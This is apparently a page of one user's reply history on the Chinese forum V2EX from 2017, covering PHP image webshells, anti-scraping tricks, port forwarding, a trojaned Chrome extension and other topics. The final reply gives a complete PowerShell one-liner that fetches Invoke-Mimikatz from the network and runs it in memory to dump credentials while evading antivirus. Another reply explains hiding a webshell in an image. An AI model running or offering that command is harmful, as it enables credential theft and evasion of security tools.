V2EX › anoymoux 的所有回复 › 第 1 页 / 共 6 页

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

1 2 3 4 5 6

❮

❯

2017-12-14 16:33:18 +08:00

回复了 zoneself 创建的主题 › PHP › 发现图片里含有一句话木马，含有木马的图片到底是怎么运行的

直接留 eval 的后门很容易被检测到,所以把一句话放图片里,然后搭配 include 来用........

2017-12-04 09:32:05 +08:00

回复了 find456789 创建的主题 › 问与答 › 一个出色的程序员，除了能像码积木一样的写代码，还要掌握算法吗？

1.要
2.是
3.为什么不敢...看不懂你的逻辑,难道一个女生太漂亮,你就不敢喜欢她吗?简单重复的事情会让人变得平庸,养成知难而上的习惯!

2017-12-01 17:41:50 +08:00

回复了 isno 创建的主题 › 汽车 › 科目三，两次不过，郁闷了

没过最好,这样过了是对自己和别人不负责任

2017-11-10 12:56:48 +08:00

回复了 depress 创建的主题 › 北京 › 充分感受到了中国严重的老龄化

早高峰买菜,晚高峰去跳广场舞...

2017-10-09 16:56:09 +08:00

回复了 chen2016 创建的主题 › 程序员 › 写爬虫的时候你遇到过哪些厉害的反爬手段？

<ul>
<li>A</li>
<li>B</li>
<li>C</li>
<li>X</li>
...
...
</ul>

你需要的数据是 X,但是他会生成很多的垃圾数据 A,B,C 等等..X 出现的位置是随机的,而且 A,B,C 等垃圾数据的格式跟 X 相同,无法用正则区分.
然后每个 li 都有一个随机的 class 属性,用动态生成的 css 样式控制只显示 X,其他的隐藏掉....
另外 css 用了继承,嵌套还有复杂的计算等等

2017-09-29 10:30:56 +08:00

回复了 usedname 创建的主题 › 全球工单系统 › 提醒大家千万不要使用同花顺这个 APP

不一定是同花顺卖的...
我用浏览器隐身模式在租房网站逛了一下,没有登录任何网站,5 分钟之后收到中介电话,问我是不是在找房子...日了狗了

2017-09-26 20:25:20 +08:00

回复了 meisei81 创建的主题 › 程序员 › 本地域名映射本地服务（非 80 端口）

hosts:
www.a.com 127.0.0.1

windows :
netsh interface portproxy add v4tov4 listenport=80 connectaddress=127.0.0.1 connectport=12345
linux
iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 12345
Mac:
sudo ipfw add 1 forward 127.0.0.1,12345 ip from any to any 80 in

2017-09-26 07:40:00 +08:00

回复了 Les1ie 创建的主题 › 大学 › 问一下各位大学里面的网络带宽， ipv6

免费,不限流量,公网 IP,无墙,下载 YouTube 视频 60MB/s+

2017-09-22 10:45:46 +08:00

回复了 anoymoux 创建的主题 › 浏览器 › 大家注意了 Chrome 的插件 User-Agent Switcher 是个木马

@ariza 尴尬..还涨了 5 万用户...

2017-09-20 20:45:13 +08:00

回复了 zddewe 创建的主题 › DNS › DNS 污染相关问题

https://www.v2ex.com/t/376745

2017-09-10 16:46:05 +08:00

回复了 anoymoux 创建的主题 › 浏览器 › 大家注意了 Chrome 的插件 User-Agent Switcher 是个木马

@redsonic 费了那么大劲把代码藏在图片里,怎么可能执行一下就返回了...你把那一行提取出来 debug 跟踪一下就明白了,下面两段代码是解密出来的
https://pastebin.com/ZYd82Hkm
https://pastebin.com/gXV094wm
虽然混淆了,但是还是很容易看出木马行为的...这作者还是挺狡猾的,刚安装之后不会触发监控模块,24 小时之后才会.
另外 chrome 的 F12 network 里看不到插件发送的请求,这也是很多恶意插件能够存在这么长时间原因...如果想看某一个插件发送的请求,在 chrome://extensions/点击插件->背景页,选择 network 就能看到了

2017-09-09 09:06:52 +08:00

回复了 anoymoux 创建的主题 › 浏览器 › 大家注意了 Chrome 的插件 User-Agent Switcher 是个木马

唉,这个插件我装了几年了,想想这几年都在这个俄罗斯黑客的监控之下,挺恶心的...

2017-09-09 09:00:46 +08:00

回复了 anoymoux 创建的主题 › 浏览器 › 大家注意了 Chrome 的插件 User-Agent Switcher 是个木马

@dong3580 firefox 也不安全,这家伙写的插件大部分都提供了 firefox,opera 版本的,我列出的这几个仅在 chrome 平台就有超过 100 万用户

2017-09-08 22:48:07 +08:00

回复了 xiejc 创建的主题 › 分享发现 › 要矿难了，收显卡

比特币不会消失,价值另说,现在明显过热,国内贡献 90%的交易量,影响肯定很大,跌倒 2000 也不夸张...

2017-09-07 09:30:38 +08:00

回复了 7DLNU56W 创建的主题 › DNS › 有一些域名的 DNS 服务器是这个域名本身的子域名，这种情况是怎么解析的？难道不会陷入死循环么？

http://prntscr.com/gi1hq0

2017-09-01 12:18:23 +08:00

回复了 eyp82 创建的主题 › Go 编程语言 › 大家有没有用 Go 开发自用小工具的, 感觉适不适合?

适合,不依赖环境,非常方便而且性能超高,之前用 python 写的小工具 1 千个请求每秒,用 Go 重写了,能把带宽跑满...

2017-08-30 19:30:33 +08:00

回复了 kiari 创建的主题 › 问与答 › 弱弱地问下，，有没有人见过内存病毒的？

举个例子:Mimikatz 获取明文密码,如果直接下载执行会被杀软删除,用下面的命令就可以在内存中执行,无文件产生
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m"

1 2 3 4 5 6

❮

❯